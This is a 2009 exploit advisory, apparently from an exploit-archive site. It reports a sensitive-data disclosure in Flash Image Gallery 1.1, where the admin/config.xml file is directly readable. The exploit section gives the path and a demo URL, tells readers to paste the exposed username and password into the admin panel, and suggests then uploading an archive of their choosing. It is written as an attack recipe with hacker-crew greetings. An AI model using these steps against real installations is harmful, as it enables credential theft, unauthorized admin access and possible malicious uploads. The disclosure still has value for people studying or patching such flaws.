Flash Image Gallery 1.1 Arbitrary Config File Disclosure Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Flash Image Gallery 1.1 Arbitrary Config File Disclosure Vulnerability
# Published : 2009-05-26
# Author : DarkbiteX
# Previous Title : MyForum 1.3 (Auth Bypass) Remote SQL Injection Vulnerability
# Next Title : ShaadiClone 2.0 (addadminmembercode.php) Add Admin Exploit

#########################################################################################
[0x01] Informations:

Script         : Flash Image Gallery 1.1 and maybe last version
Download       : http://www.flashimagegallery.com/download/fig_116_admin_110.zip
Vulnerability  : Sensitive Data Disclosure
Author         : DarkbiteX
Greets:        : |OverclockiX| , |0o_Zeuz_o0|, |Status-X|, |Fatal Inside|, |NaOnack|, |Good-Spide|, |All Moroccan Hackers|

########################################################################################
Bug:[Sensitive Data Disclosure]
########################################################################################

[!] EXPLOIT: /[path]/admin/config.xml
EXAMPLE: http://www.flashimagegallery.com/demo/gallery/admin/config.xml
                 and paste de user and pass http://www.flashimagegallery.com/demo/gallery/admin/
                
                 Use Of The Imagination and UPLOAD your archive ;) 
#########################################################################################

# www.Syue.com [2009-05-26]